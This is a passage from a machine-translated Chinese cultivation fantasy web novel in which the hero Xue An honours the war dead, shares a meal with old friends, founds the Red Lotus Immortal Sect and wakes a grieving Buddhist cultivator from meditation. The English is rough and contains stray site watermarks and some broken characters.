    In an instant, the mountains and rivers of the land of China recovered as before.


    It''s just that although the mountain peaks at this moment have appearances, they don''t have any aura, which can be described as vain.


    This is because this battle has completely destroyed the dragon veins of China, and if it is re-trained, it will take at least a thousand years.


    But in Xue An''s hands, all this is simple.


    With a flick of his finger, the immeasurable aura was easily instilled into every mountain and river in China in an instant.


    In an instant, the majestic aura condensed into dragon veins underground and connected to each other.


    boom!


    The strong earth qi soared into the sky, firmly guarding the entire country of China.


    Song Yi, the feng shui master, almost lost his eyeballs, and muttered to himself: "Thousands of dragon veins are re-organized in the blink of a finger. This is the real feng shui! Master is really amazing!"


    In his mind, Xue An has long been regarded as his master, so the words are extremely respectful.


    Even Zhuge Zang was slightly startled, and immediately appeared astonished.


    He had previously borrowed the Huaguo Dragon Vessel to deal with the invasion of Luo Wuqing and others, but the difficulty of borrowing it was completely different from that of reconfirming.


    What''s more important is that Xue An was just a flick in the whole process.


    What this means, he naturally knows best.


    After finishing all this, Xue An fell to the ground, looked at the corpse that covered the entire battlefield, and whispered: "Brothers, I will take you home!"


    After all, he raised his hand with a wave.


    Countless spiritual energy gently wrapped these corpses like silk threads, and slowly floated into the air.


    Because of the spiritual energy, the incomplete corpses of these people who died in battle instantly recovered, and they were full of radiance and radiance, just like a god.


    Then Xue An stepped forward and fell to his knees.


    This scene shocked the world.


    In an instant, no matter whether they were present or not, everyone knelt down to the ground facing the dead.


    The atmosphere of the whole world became serious.


    And Xue An slowly said: "You will fight and die to protect the common people. After death, they will be regarded as gods. In the future, the common people will sacrifice them with incense!"


    The words fell, but seeing these corpses began to show brilliant light one after another, and then condensed into giant pillars standing upright in the sky.


    In an instant, the entire area was occupied by densely packed huge pillars that could not be seen.


    Everyone burst into tears in an instant, because they knew it.


    These people who died in battle have become gods who guard the world.


    So far, the war has ended in this form.


    A smile finally appeared on everyone''s face.


    After all, the dead are gone, and the living will continue.


    In any case, the battle was won by the heavens.


    So there is no need to deliberately organize.


    Soon, the whole world turned into a sea of ??joy.


    And those who participated in this battle have become the most dazzling stars.


    No matter where you go, there will be thousands of people supporting it.


    Xue An and Hu Huan are no exception.


    Moreover, as the most distinguished guests, they are of course more courteous.


    No one is thinking about it anymore, people just want crazy joy, as if this way can vent the despair of this time.


    Xue An did not stop this either.


    Because he knew very well that this battle was too heavy.


    Countless people have changed their destiny because of this.


    Now that they have finally won, it would be good to let them vent.


    But when the wine was halfway, Xue An quietly left the banquet hall and came to a place.


    Beijiang, the roof of Villa No.1 Tianzi.


    At this moment, the moonlight was like water, and Yue Qinghuan was sitting on the sofa on the roof with his eyes closed and rested.


    When Xue An''s figure appeared, she seemed to have expected Xue An''s arrival a long time ago, she didn''t even open her eyes, just smiled faintly.


    "Why don''t you go to the banquet?"


    Xue An shook his head, and then asked: "Why don''t you go?"


    "Me?" Yue Qinghuan opened his eyes, "I don''t belong here, why should I go?"


    Xue An stared deeply into Yue Qinghuan''s eyes.


    Yue Qinghuan looked back without showing weakness.


    After a long time, Xue An looked sideways at the shining metropolis in the distance.


    "I want to know, what is your purpose here?"


    "If I say that I am here just to see you, do you believe it?"


    Xue An smiled, but didn''t even turn his head, walked straight to the balcony railing, and slowly said: "Remember when you took me to travel around Huaguo, I was a little skeptical, why would you treat Huaguo? The military sages of ancient times are so interested!"


    "It wasn''t until this battle that I finally understood!"


    With that, Xue An slowly turned around, looking at Yue Qinghuan with piercing eyes.


    "Tell me, what does that man mean when he calls you a soldier?"


    Yue Qinghuan shrugged, "What''s the point? It''s the kind you understand!"


    As soon as this remark came out, Xue An saw the glory in his eyes, "If you are a military strategist, what connection do you have with the military strategists of the ancient Chinese state? Or..."


    Before Xue An finished speaking, Yue Qinghuan waved his hand, "Don''t guess, my military strategist is not the same thing as the strategist in your mouth, at least not as simple as you think!"


    "Then why are you going to visit the tombs of those sage soldiers?"


    "I''m just curious!"


    "curious?"


    "Yes! I''m just curious about something back then!" Yue Qinghuan said lightly.


    Xue An did not speak, but looked at Yue Qinghuan quietly.


    "I didn''t understand, did you?"


    Xue An nodded Yue Qinghuan sighed lightly, and then said with some distress.


    "Actually I don''t quite understand, because there are so many things, even I don''t know the truth behind the scenes, maybe my brother will know more than I, but he refuses to tell me!"


    "Then you can tell me... what you know now!" Xue An said solemnly.


    Yue Qinghuan chuckled, but did not answer Xue An''s words directly, but said lightly: "Before answering your question, I want to ask you a question first."


    "Say!"


    "Do you think this battle is over?"


    Xue An was shocked, "What do you mean?"


    "It''s not interesting, I just want to know what you think!"


    Xue An took a deep look at Yue Qinghuan, and finally slowly said: "Of course not, because the real mystery has not been revealed yet!"

 Chapter 2175： 10-day period

    Yue Qing smiled happily, and his smile was full of appreciation.


    "Do you know what I like best about you?"


    Such a stunning girl said to a man like the word "Like", which is enough to make people''s heart beat.


    But Xue An was not moved at all, just said indifferently: "You should be very clear that I am immune to your little tricks, so... please tell me the point!"


    Yue Qinghuan was tickled by Xue An''s attitude, but soon she was relieved, "What I like most is this rare calmness and sobriety in you."


    With that said, Yue Qinghuan tilted up those two amazingly long legs, buried his whole body in the back of the thick sofa, raised his head and looked at the bright starry sky, and said lightly.


    "You seem to have won this battle, but all of this is based on a very small probability of emergencies. If you don''t have that breath from An Yan in the end, even you will have to lose. Do you admit it?"


    Xue An was silent for a moment, and then nodded, "Although I don''t want to admit it, the probability of losing is indeed around 80%, and even if I win, it will be a miserable victory!"


    Hearing this, Yue Qinghuan suddenly sat upright and looked at Xue An with stunned eyes, "According to you, when you face that finger, you actually had a 20% chance of winning?"


    "What? Is it weird?" Xue An replied lightly.


    This time it was Yue Qinghuan''s turn to look at Xue An with piercing eyes. She shook her head and smiled bitterly until a long time later.


    "Of course it''s weird, because you don''t know how terrible it is to be able to crush the heavens with one finger. Compared with him, you are almost like a mortal now, so I''m really curious. How did it come!"


    "What do you think?" Xue An asked rhetorically.


    Yue Qinghuan was startled slightly, and immediately understood something, after taking a deep look at Xue An, he lay back on the sofa.


    "I take back what I said, sometimes you are not only not calm, but crazy and terrible! But... I seem to like you more!"


    Having said that, Yue Qinghuan laughed to himself.


    Xue An didn''t speak either, but looked at Yue Qinghuan quietly.


    It wasn''t until a moment later that Yue Qinghuan restrained his smile and recovered his calm.


    "Even if you have a 20% chance of winning, after this battle, they will definitely be more fully prepared. So until next time, you will not have such a good opportunity. I believe you should be very clear about this! "


    "Of course!" Xue An nodded.


    "So I turn back to the topic just now. Since you really want to know the connection between my family and the ancient Chinese soldiers, I can only tell you now that the inside story of these things is hidden in my family, and you can only witness it with your own eyes. , Will understand! I said, it is not clear!"


    Xue An stopped talking, but looked at Yue Qinghuan with a calm gaze. It was not until a long time later that he said lightly: "Are you inviting me to your house?"


    Yue Qinghuan smiled, "You can understand it this way, but it''s still the same sentence. This battle is far from over. If you want to solve the problem completely, you should know better than me what to do!"


    After that, Yue Qinghuan looked at Xue An with a smile.


    Xue An suddenly said: "I found that there seems to be some kind of rule binding you, causing you to be unable to tell me a lot of things. You can only invite in this roundabout way, right?"


    Yue Qinghuan sighed softly, without speaking.


    But silence often means approval.


    Xue An nodded, "Actually, you don''t need to remind me. I definitely want to go outside the heavens. After all, there is the root of all the problems, the key!"


    "And offense is the best defense. I have to ask the messengers behind the scenes to get back the account of this evil invasion!"


    At the end, Xue An''s eyes flashed a bit of cold light.


    Yue Qinghuan gave a chuckle, meaning to point out: "Then... good luck to you!"


    After that, she lay back on the sofa comfortably and said lazily: "I''m really homesick after being away for so long. I should go out after ten days, and I will leave when the time comes!"


    Xue An looked at Yue Qinghuan for the last time, then turned and strode away.


    It wasn''t until Xue An''s people had gone far that Yue Qinghuan suddenly sighed.


    "Xue An, although you have passed the test this time, the greater test has just begun! This road is far more difficult than you think. Even my brother... probably can''t help you. too much!"


    Speaking of this, Yue Qinghuan''s eyes showed a faint worry, and he whispered softly: "Good luck to you!"


    When Xue An reappeared at the feast, the feast was nearing its end.


    There is no other reason, most people are already drunk.


    Therefore, Xue An''s appearance did not attract the attention of others.


    Only An Yan Ou felt it, turned his head and glanced at him, then whispered: "I''m back?"


    "Ok!"


    "Can you eat something?"


    An Yan didn''t ask Xue An where he went or what he did.


    Instead, Xue An took the initiative to say: "I just went to see Yue Qinghuan!"


    "Oh!" An Yan just responded casually, and then lowered her head to concentrate on the fruit cake on the plate.


    "After ten days, we will leave the heavens with her!"


    An Yan trembled slightly, then raised her head to look at Xue An, "Do you need to be so anxious?"


    "Well, very anxious!"


    "Oh!" An Yan replied in a low voice.


    At this moment, Xue An suddenly grabbed An Yan''s hand, then lowered his voice and said, "Follow me!"


    An Yan was still a little unclear, so Xue An was dragged away from the venue.


    But in an instant, the two of them came to one place.


    Looking at the familiar sign, An Yan widened his eyes, "Lao Xie Hotel? Husband, why are you bringing me here?"


    "Naturally eat!" Xue An said with a smile, then opened the door and walked into the store.


    Unlike the joyous atmosphere outside, the Lao Xie Hotel at UU Reading at the moment is slightly deserted.


    After all, people at this moment are basically celebrating this hard-won victory madly!


    Who would come here to eat in idle time?


    Even so, Lao Xie and Fat Aunt still stick to this small hotel.


    In fact, with their contributions, they can occupy a place at the celebration banquet, but in the words of Lao Xie, he is old, and the noisy banquet should be reserved for young people.


    So the two of them are watching TV leisurely at this time.


    The TV is all about celebrations around the world.


    Old Xie looked at it with a smile, saw the wonderful place, and took a sip of wine from time to time.


    Aunt Fatty also did not mumble for the first time, but instead served wine and vegetables.


    "Tsk, Jingjing''s mother, you didn''t see how good I was at the time. As soon as those **** and evil things rushed to the front, they were chopped into meat by me, even the sword master praised my sword. It''s good!" Lao Xie said with a flushed face.

 Chapter 2176： Relaxation after the war

    Aunt Fatty gave him an angry look, "Okay, okay, I know you are good at the head office, right? You have said these things since you came back? Have you said it several times? It''s annoying to hear it!"


    "Hey! It''s not enough to say it a few times, but that''s the brightest moment in my life for your husband!"


    "Huh! Why don''t you want to kill you?" Although she said that, Aunt Fatty was very considerate and opened another bottle of wine for Lao Xie.


    At this moment, the door of the restaurant was pushed open from the outside, and then he heard a lightly smiling voice.


    "Fry two good side dishes, remember to add more chili and less chopped green onion!"


    This familiar voice shocked both Aunt Fatty and Uncle Xie, and even turned around and looked towards the door.


    Xue An looked at them with a smile, "Uncle Xie, fat aunt, why? Are you not welcome?"


    The two almost jumped from their seats.


    "Xiao... Xiaoan?" Old Xie stammered.


    He regretted it as soon as he spoke.


    really.


    The fat aunt on the side pinched him severely, and then said hesitantly: "Xue...Mr. Xue, why are you here?"


    The tone is polite and restrained.


    There is no other reason, it is that Xue An is too prestigious today!


    Proving the path for half a step Xianzun, severely injuring the invading evil creatures, saving the common people from water and fire.


    All these things are earth-shattering events.


    This also made Xue An an indesectable existence in the minds of many people.


    Facing such prestige, Aunt Fatty naturally did not dare to relax as before.


    But after hearing these words, Xue An was taken aback for a moment, and even shook his head and smiled bitterly: "Auntie Fatty, are you cruising me? Call me Mr. Xue, do you want me to turn around? Where are you going?"


    With that said, Xue An turned and left, disappointed.


    Seeing this situation, Lao Xie became anxious, and immediately took a step forward, "Xiao An, don''t listen to your fat auntie''s nonsense, she just sees this womanly!"


    As he said, Old Xie glared at Fat Auntie fiercely, "Have you heard? Xiao An is not like that at all. No matter what kind of big person he becomes, he is still the same Xiao An before!"


    Facing Lao Xie''s reprimand, Fat Aunt didn''t go wild as before, but lowered her head embarrassedly.


    Such a scene also made Xue An laugh dumbly, "Alright, Uncle Xie, don''t show off your paternal style, and quickly fry some dishes! I''m so hungry!"


    "Okay, wait a minute, I''ll do it right away!" Old Xie rushed to the back kitchen excitedly.


    Fat aunt was also happy at this time.


    "Xiao''an, you and Yan''er sit here first, and I will get you wine. You hid a few bottles of good wine before thanking Uncle, and I detained them all!"


    After speaking, he left with a smile.


    Soon, the stove in the back kitchen hummed, and with the collision of the spatula, the small restaurant was instantly filled with dense human smoke.


    An Yan also felt a complete relaxation at this moment, as if time had returned to the beginning in an instant.


    At that time, she would occasionally follow Xue An, who had paid her salary, to come here to fight the teeth.


    The so-called tooth sacrifices are actually just a few unusual dishes.


    For An Yan, who was born in the capital at the time, it was really vulgar, but she was very happy to eat.


    A blink of an eye, when I return here again, the status, status and mentality are already very different.


    But the joy of waiting for the food remains the same.


    Soon, a few small dishes came up.


    Then Lao Xie wiped his hands on his apron and said proudly, "How about a taste?"


    Xue An is not welcome, picking up the chopsticks and picking up a piece to taste.


    There is no dragon liver and phoenix marrow, just a few extremely common ingredients, but when it reaches Lao Xie''s hands, it bursts out with a different fragrance.


    He didn''t speak either, just held out a thumb.


    A bright smile appeared on Lao Xie''s face.


    At this time, Aunt Fatty also came with wine.


    Lao Xie sat aside, Xue An opened the bottle and filled Lao Xie with a glass of wine.


    "Uncle Xie, come, I will respect you first!"


    With that, Xue An drank the wine in one cup.


    Old Xie''s hands began to tremble.


    The eye sockets are even more red!


    Although he has just behaved as usual, Xue An''s identity is now there!


    He didn''t dare to make any trouble.


    But I didn''t expect Xue An to offer himself a cup.


    This naturally made him excited, and then he raised his neck and drank all the wine in his glass.


    After a glass of wine, the atmosphere instantly became more heated.


    Until then, Aunt Fatty and Old Xie were convinced that Xue An has not changed!


    Still the gentleman before!


    After drinking three rounds, Lao Xie asked strangely: "Xiao An, why didn''t you go to the banquet, but came here instead?"


    Xue An smiled, "Because I have a problem, the bigger the banquet, the more I can��t get enough to eat. Besides, I��ve been back for so long this time and I haven��t tasted Xie Uncle��s food. Come to solve the greedy!"


    Old Xie felt that his face was lit up, and he raised his cup and said, "In this case, let''s do another one!"


    "it is good!"


    In a short while, a bottle of wine was consumed.


    Three points of drunkenness appeared on Lao Xie''s face.


    Although he had undergone a transformation at the beginning, half of his body was already a mechanical structure, but his drinking volume was still not good.


    With Jiu Jin, Lao Xie also became unscrupulous in speaking.


    "Xiao''an, there is something I don''t know if I should ask."


    "Say Uncle Xie!"


    "Now that this battle is over, what are you going to do next?"


    Xue An put down his glass and looked at Old Xie with a smile, "Uncle Xie, you mean..."


    Lao Xie said seriously regardless of the fat aunt who kept winking at him.


    "I don''t think this thing can be over simply, God knows that those gangsters will come back, so we must prepare in advance!"


    Xue An also laughed Well said, let''s have another drink! "


    After another glass of wine, Xie��s tongue was already a bit bigger.


    "Damn, those gangsters have a good day, but they actually came to trouble us. If you dare to come again, Xie, I will definitely be the first to rush!"


    Aunt Fatty finally couldn''t help it, coughed lightly, and then lowered her voice: "Old Xie, can your mouth be a little bit of a door, Yan''er is here too!"


    Lao Xie didn''t care about anything else, but as soon as this sentence came out, Lao Xie immediately understood, and quickly closed his mouth, not dare to say anything.


    Xue An smiled slightly, and then said, "Uncle Xie!"


    "Ok?"


    "Excuse me, please go to the back kitchen to fry a few more dishes, some of them are coming!"


    As soon as the voice fell, he heard a burst of laughter outside.


    "Xue An, you are not friends enough, you left us there, and I secretly came here to open a small stove!"

 Chapter 2177： Create sect

    Following the voice, but seeing Ye Hanshang, Chu Wuxiang, and Tianzhe, the three people walked into the hotel.


    After seeing them, Xue An couldn''t help but smile, "Speaking as if you didn''t smell it!"


    Ye Hanchang sat down next to Xue An, "Stop talking nonsense, get me something to eat first, I''m almost starving to death!"


    "What? Didn''t you get full at the party?"


    "Don''t mention the banquet. We just drank with Fox Night''s partner for the whole banquet. How can we have time for dinner!"


    "Why didn''t Hu Ye come with you?" An Yan asked.


    "Does that still need to be asked? Of course I was drunk!"


    Speaking of this, Ye Hanshang sighed, "Sister-in-law, you haven''t seen him, Hu Ye is like a girl now, drinking some wine and holding the bead to wipe tears, so annoying!"


    Chu Wuxiang and Tianzhuna also nodded one after another, expressing the same feeling.


    "Hey, he is also troubled by love! After all, Ao Yi died for him!" An Yan sighed sympathetically, and then asked.


    "Then you didn''t persuade him?"


    "Of course I persuaded him! But it didn''t work at all. I even wanted to beat him up. Do you think crying can solve the problem? It''s like a girl." Ye Hanshang''s expression of hatred is not steel.


    But at this moment, I heard someone outside the store faintly said: "Ye Hanshang, who do you say is a woman?"


    As he spoke, but seeing Hu Ye stepping in, behind him were A Rou, Hu Ying, Fan Mengxue, Tang Xuan''er and others.


    Their arrival made the restaurant immediately become lively.


    Aunt Fatty was so happy that she didn''t know what to say, and quickly greeted everyone to sit down.


    "Sister-in-law!" Hu Ye first greeted An Yan.


    An Yan looked at the pale Fox Ye and wanted to say something, but finally just nodded.


    "I went there! You guys have a chat!"


    After that, he got up and left.


    After she got up and left, Hu Ye sat down opposite Xue An on her own.


    There was a strong scent of alcohol on his face, and his eyes were already bloodshot, and he looked extremely tired.


    Even so, he still stared at Ye Hanshang on the side, "The surname is Ye, who did you just say is the wife?"


    Ye Hanchang bared his teeth, "Of course I mean you! Isn''t it right?"


    Hu Ye was furious, and tried his best to suppress his voice and roared; "Ye, do you have the courage to go outside and fight with me!"


    Ye Hanchang raised his eyebrows slightly, "I am happy to accompany you!"


    The two of them had to get up.


    Chu Wuxiang on the side and Tian Zhai were about to stop him.


    At this moment, Xue An suddenly patted the table.


    Bang!


    A loud noise made the hotel quiet in an instant, and everyone looked at Xue An with surprise.


    Ye Hanchang and Hu Ye were even more stunned.


    Then I saw Xue An slowly picking up the wine glass on the table, and said lightly: "So you want to fight? That''s fine, I will testify to you two, how about a life and death duel?"


    These words caused both of them to lower their heads and say nothing.


    Xue An held a glass in his hand and looked at them with a sneer.


    The atmosphere instantly became serious.


    At this moment, Old Xie walked out of the kitchen with the fried food.


    "Come here, steaming side dishes, hurry up while it''s hot..."


    The sound stopped abruptly, because he also noticed something was wrong in the atmosphere.


    Aunt Fatty kept winking him even more, which couldn''t help making him stunned.


    Xue An beckoned, "Uncle Xie, quickly put down the food and come over for a drink!"


    "Uh...good!"


    Old Xie hurriedly put the dishes on the table, looking at Ye Hanchang a little nervously.


    Xue An didn''t speak either, but personally picked up the wine to fill the glass in front of everyone.


    "drink!"


    After all, Xue An took the lead in drinking it all.


    Everyone looked at each other, and then they drank the wine in their glasses.


    When the wine glass was just placed on the table, Xue An suddenly said, "Fox Night!"


    Fox Ye trembled all over, "Yes!"


    "Do you think the second prince mainly sees you like this, will she be happy?"


    Fox Ye stopped talking, but tears loomed in the corners of his eyes.


    "I know it''s hard for you to face the departure of the second princess, and feel that you owe her, but are you worthy of her like this?"


    "You have to fight with the brothers who used to fight side by side at every turn. Since you are so powerful, why didn''t you repel the invading evil?"


    Huye''s face was flushed with embarrassment, and his head was almost buried under the table.


    Seeing this, Xue An couldn''t help slowing down his tone, and sighed lightly: "Since this has happened, let it pass, especially you will be a father soon. Don''t you even have this awareness?"


    With these words, Linghu Ye was silent for a moment, and then nodded vigorously, "I understand!"


    Xue An smiled swiftly, and Xuan even turned his head to look at Ye Hanchang who was aside.


    "What are you laughing at? Do you think I didn''t say you?"


    The smile on Ye Hanchang''s face instantly solidified, "What happened to me?"


    "I know your starting point is good, thinking that your brother shouldn''t be so depraved, but can''t you be a little bit more tactful? You still say that Fox Night is like a lady, this kind of well-known thing, still use you to speak ?"


    As soon as the words came out, everyone burst into laughter.


    The paleness on Hu Ye''s face quickly receded, "Hey, Old Xue, I was reprimanded for co-authoring for so long?"


    "This is not a reprimand, I am helping you, or else I will use your **** character to stimulate you, or you may sink into it!"


    Xue An smiled and patted him on the shoulder, then raised his glass in his hand.


    "Come on, drink!"


    This wine is much faster than drinking at the banquet hall.


    I don''t know if it''s due to drinking well or some other reason, Fox Night remained sober after three rounds of drinking.


    Not to mention Xue An, his eyes became brighter as he drank.


    When the atmosphere reached its climax, Zhuge Zang walked in with the door open.


    "Hey, old man, why are you here now? Hurry up and sit here for a few drinks!" Ye Hanchang greeted him quickly Zhuge Zang smiled and shook his head, "Wait!"


    After all, he looked at Xue An with piercing eyes.


    "Is the letter you just sent me true?"


    Xue An put down his wine glass and nodded, "Of course! Can this kind of thing be a joke?"


    Zhuge Zang took a deep breath when he heard the words, and his face was excited, "Okay! Okay! In that case, I will raise my hands in agreement!"


    But the conversation between the two of them made Ye Hanshang and others fall into the fog of Wuli.


    "What are you two talking about? Raise your hands for what?" Hu Ye asked strangely.


    Zhuge Zang blushed, walked straight to the table, raised his glass and drank it without sitting down.


    Then he let out a sigh of relief: "Xue An just sent me a message and asked me to gather everyone to discuss the creation of the sect!"


    As soon as these words came out, the room instantly became quiet.

 Chapter 2178： Red lotus fairy sect

    Because this fact is too big.


    "Old Xue, is what Zhuge Old Tao says is true?" Hu Ye Jing asked.


    Xue An smiled and nodded, "Although this battle is over, the test has just begun. If I want to defend my homeland and even go beyond the heavens, I will have to take some practical actions later, so I decided to take advantage of the entire heavens. At this time, all the powerful people gathered together to convene everyone to create a sect together!"


    "The name of the sect is...Red Lotus Immortal Sect!"


    "Red Lotus Immortal School..." everyone whispered softly.


    Suddenly, I saw Ye Hanshang pat the table, and said with excitement: "Okay, what a good one to go beyond the heavens, this kind of pride really deserves to be Old Xue! I, Ye Hanshang, joined the ghost world first! "


    "Even though Paradise Lost has already fallen, but I am willing to do what I can do!" Tianzhina said immediately.


    "Longxiangmen is no exception!"


    "Plus my Qingqiu Fox Country!" Hu Ye shouted.


    Everyone looked at him, Ye Hanchang smiled and said, "We are the human clan!"


    "What''s wrong with the human clan? Can we not join Qingqiu Fox Country? Since we have all fought side by side, we must treat this matter equally! Old Xue, am I right?"


    Xue An smiled and nodded, "Yes, this time I created the Red Lotus Immortal Sect, regardless of race, anyone who has fought side by side can join!"


    "That means I can do it too?" Zhang Xiaoyu asked excitedly.


    "Of course! And I can make you a great protector at that time!"


    "Really?" Zhang Xiaoyu almost jumped up.


    "Of course, what do you think of the guardian who is in charge of the guard?" Xue An smiled.


    Everyone roared with laughter.


    And this news spread at an extremely fast speed after the banquet was over.


    "Have you heard? Xue Shenzun plans to create the Red Lotus Immortal Sect. I heard that anyone who has been on the battlefield and killed an enemy can sign up!" Someone said excitedly.


    "I have heard about it a long time ago, but unfortunately I was not strong at the beginning, and I couldn''t get on the battlefield at all!" Someone said with envy.


    After hearing the news, many tycoons took a breath.


    "Mr. Xue, this is such a big handwriting, this hand has drawn all the powerhouses of the heavens in!"


    "Yes! I can imagine that this Red Lotus Immortal Sect will definitely become the first sect of the heavens, and it may even be the only sect!"


    "Then what do we sects do? Is there no need for all of them?" Someone lamented.


    But whether it is a sigh or a sigh, the establishment of the Red Lotus Immortal Sect is like the torrent of the times and cannot be resisted.


    Soon, another news came.


    Three days later, the opening ceremony of the Red Lotus Immortal Sect will be held on the former main battlefield!


    As soon as the news came out, the whole world boiled over.


    Countless young people can''t wait to flock to the venue of the ceremony, in order to occupy a good position as soon as possible.


    The powerhouses are even more gearing up, wanting to join the Red Lotus Immortal Sect and win a good future.


    After all, even a fool can now see that Xue An is already the indisputable first person in the heavens.


    And his wife is even more powerful, saving the heavens from fire and water.


    Coupled with Xue An''s friends, the future of the Red Lotus Immortal Sect is unlimited.


    Under this premise, naturally, the sooner you join the Red Lotus Immortal Sect, the greater the benefits you will get in the future.


    This kind of thinking is human nature, and it is naturally understandable.


    And when the whole world was boiling because of this incident, Xue An appeared in a closed place on the battlefield.


    At this moment, in this enclosed space, golden light flickers, Sanskrit sounds bursts, and there is a magnificent Buddhist scene.


    But at this moment, there are only a few Buddhas who can appear in this space.


    The Buddhist masters such as Yue Sha Yue Ji Maitreya have all died in battle.


    At this moment, there are only a few tantric masters who are left in this space. As for the Pure Land Sect, except for the Baimei Luohan who survived by chance, the rest are only a few master Buddhas of Dingchan Temple. .


    For example, the one who knelt to the ground with a sad expression on his face was the little Huitong monk who had appeared before.


    It''s just that the little monk nowadays has lost the innocence of the past.


    Because his senior brother Yuantong, who had always been regarded as his eldest brother, also died in the battle.


    It was like a catalyst that made Huitong grow up overnight.


    "Master!"


    "Master!"


    After seeing Xue An, the Buddhas offered salutes.


    Xue An sighed softly.


    The biggest losses in this battle were sword repair and Buddha repair.


    Because these two schools have something in common in many places.


    For example, once the target is spotted, it will move forward with indomitable momentum, such as the brave and unparalleled fighting technique.


    These qualities have led to heavy losses for Buddhist cultivation.


    "Get up all!"


    Everyone got up, Xue An stepped inside, and then came to the front of a radiance in the middle of the space.


    In this flickering golden light, a young girl was sitting impressively.


    It was Yingluo who entered the customs and was promoted to the cultivation base before, but has not left the customs until now.


    At this moment, the aura in her body happened to be stuck on the threshold of the invisible, neither increasing nor declining, as if silently waiting for something.


    Xue An silently stared at Yingluo in the golden light, and the scene when he first saw Yuesha appeared in front of him.


    At that time, the two fought a match because of some misunderstandings, but they didn''t know each other, and they became close friends.


    Until now, Xue An still remembers the way he smiled with his palms together.


    Unexpectedly, in the end he fell so fast.


    While he was in deep thought, UU read www. uukanshu.com quietly said in a soft voice: "Master, she has been stuck on the threshold of the invisible ground for a few days ago and cannot deposit! But I feel that she seems to have nostalgia, so she refuses to be promoted!"


    Xue An sighed softly, "Yes, she really has nostalgia, so she has been reluctant to take that step!"


    "In the beginning, Yuesha helped him with his last cultivation base, which also caused his aura to remain in Yingluo''s body, and if she took that step, then Yuesha''s aura would also disappear completely, so for To retain the last breath of Yuesha, she chose to sink into concentration and refused to wake up!"


    These words shocked Guan Zizai and Huitong.


    "It turned out to be because of this..." Huitong stared at the golden light, his eyes full of complicated brilliance.


    Xue An looked compassionate, "But if she has been consumed like this, sooner or later, she will lose her mind, and she will not be able to wake up in death meditation!"


    "So even if it is for Yuesha, I have to wake her up!"


    "Even if...she will hate me!"

 Chapter 2179： Give me his breath

    When a person enters meditation, unless chance gathers oneself to wake up, otherwise it is impossible to wake him up under normal circumstances.


    If you insist on awakening forcibly, you will take a lot of risk, and a little carelessness will damage his consciousness.


    So when they heard Xue An was about to wake Yingluo, Guan Zizai and others couldn''t help but become nervous.


    "What does the leader plan to do?" Huitong asked softly.


    Guan Zizai gently shook his head, "I don''t know either!"


    At this time, I saw Xue An take a few steps forward, before the golden light, and then stretched out his hand to gently caress the golden light.


    Then a mellow spirit penetrated in.


    Seeing this scene, the eyes of Guan Zizai and Huitong and others opened instantly.


    "God, isn''t this the breath of Uncle Yuecha?" Huitong said with a dazed expression.


    Guan Zizai seemed to understand something, a wry smile appeared at the corner of his mouth.


    "The master did this with good intentions!"


    At this moment, I saw Xue An whispered: "Yingluo, are you still awake?"


    Even the voice is the same as Yue Sha.


    After feeling the breath and hearing the sound, the golden light on Yingluo suddenly burst, and in an instant she crossed the threshold and entered the invisible realm.


    In an instant, the sky fell in disorder, and the ground surged with golden lotus.


    Guan Zizai and others couldn''t help but put their palms together, exulting with joy.


    Looking at Yingluo again, she slowly opened her eyes and looked in the direction of speaking with infinite surprise. "Yue Sha, I know you..."


    The voice stopped abruptly, and Yingluo looked at Xue An blankly, her face full of incredible color.


    Xue An nodded at her apologetically, "You are awake!"


    "Where is Yuesha?" Yingluo asked in a daze, "Why are you here, where did Yuesha go?"


    Xue An didn''t speak, only a look of pity on his face.


    "He was here just now. I understand. He must have deliberately hid and wanted to give me a surprise, right? I knew it was like this. Hahahaha, Yuesha, you **** can''t come out to see me!"


    Yingluo stood up and looked around with a smile.


    Everyone looked intolerable.


    Finally, Xue An sighed softly, "Yingluo, don''t look for it, the aura you just felt was all pretended to be by me. As for Yuecha...you should be very clear in your heart that he is still there!"


    As soon as she said this, Yingluo was stunned for an instant, then lowered her head, her shoulders twitched, and there was a faint weeping sound.


    Xue looked quietly, but did not discourage him.


    Because he knew that Yingluo would pass this level sooner or later.


    "Why lie to me?" Yingluo suddenly whispered with her head down.


    Guan Zizai sighed lightly, stepping forward and just trying to explain.


    But at this moment, but seeing Yingluo suddenly raised her head, her face was full of tears, "I asked you why you lied to me to wake up? Don''t you know that this way, he will dissipate even the last breath? ?"


    Following the questioning, a bright golden light burst out of Yingluo''s body, directly blasting back Guan Zizai who wanted to step forward.


    Only Xue An stood still in place, just like a reef standing in the torrent of golden light.


    "Why lie to me!" Yingluo roared suddenly, and the immeasurable golden light condensed into a Buddha seal with this roar.


    The power and power of the Buddha Yin made Guan Zizai and the others excited about it.


    "How is it possible? Is this the strength that the Dao should have invisibly just now?" Tantra Diamond Hand couldn''t believe his eyes.


    Because Yingluo''s Buddhist seal is much stronger than him.


    While King Kong has been invisibly proving Dao for hundreds of years, Ying Luo is a newcomer who has just crossed the threshold.


    How can this not shock him.


    Only Guan Zi sighed softly, "Of course it is possible, because this girl has all the cultivation base and experience of Brother Yuesha!"


    At this moment, but seeing Ying Luo almost hysterical, "Return his breath to me!"


    boom!


    The Golden Buddha Seal hit Xue An directly.


    Xue An didn''t even move, but looked at her with pity.


    After the golden Buddha seal blasted in front of Xue An, it dissipated automatically like a passing glance.


    Then Xue An said lightly: "Even if I return his breath to you, what can I do? Can you still bring him back to life?"


    "I don''t care, I just want his breath ah ah ah ah!" At this moment, Ying Luo is almost crazy, and the violent golden light is overwhelming, vowing to strangle Xue An on the spot.


    But in the next instant, the golden light blasted away, and then Xue Anyu came to Yingluo in an instant and waved his hand.


    Yingluo was bound by an invisible force and suspended in the air.


    "Let go of me!" Yingluo struggled hard, her eyes were full of fierceness, and the golden wheel behind her head was even more black, and there was a faint sign of falling from the magic way.


    "Master!" Guan Zizai couldn''t help exclaiming, trying to remind Xue An to pay attention to the changes in Yingluo.


    Xue An looked at her face sinkingly, and suddenly stretched out her hand to slap Yingluo in the face.


    Snapped!


    The slap fan was so loud that Yingluo was slapped and flew out at the time, and then was stunned.


    Then Xue An looked at her with raised eyebrows, "How long do you want to toss?"


    "Yue Sha is willing to break his body for you, and even cut off the chance of rebirth, just to let you live well, but what about you?"


    "For the sake of a little vain breath, I would rather be trapped in sam��dhi and refuse to wake up, even if you know that in the long run you will cut off your mind and fall into death jhana, and still cling to it, are you worthy of him like this?"


    "Look at you now, the heart and demon enter the body, and you will soon fall from the invisible bodhisattva into a demon. Do you think that Yuesha will be happy?"


    "Even if you don''t cherish your body, don''t you know that Yuesha has already been integrated with you?"


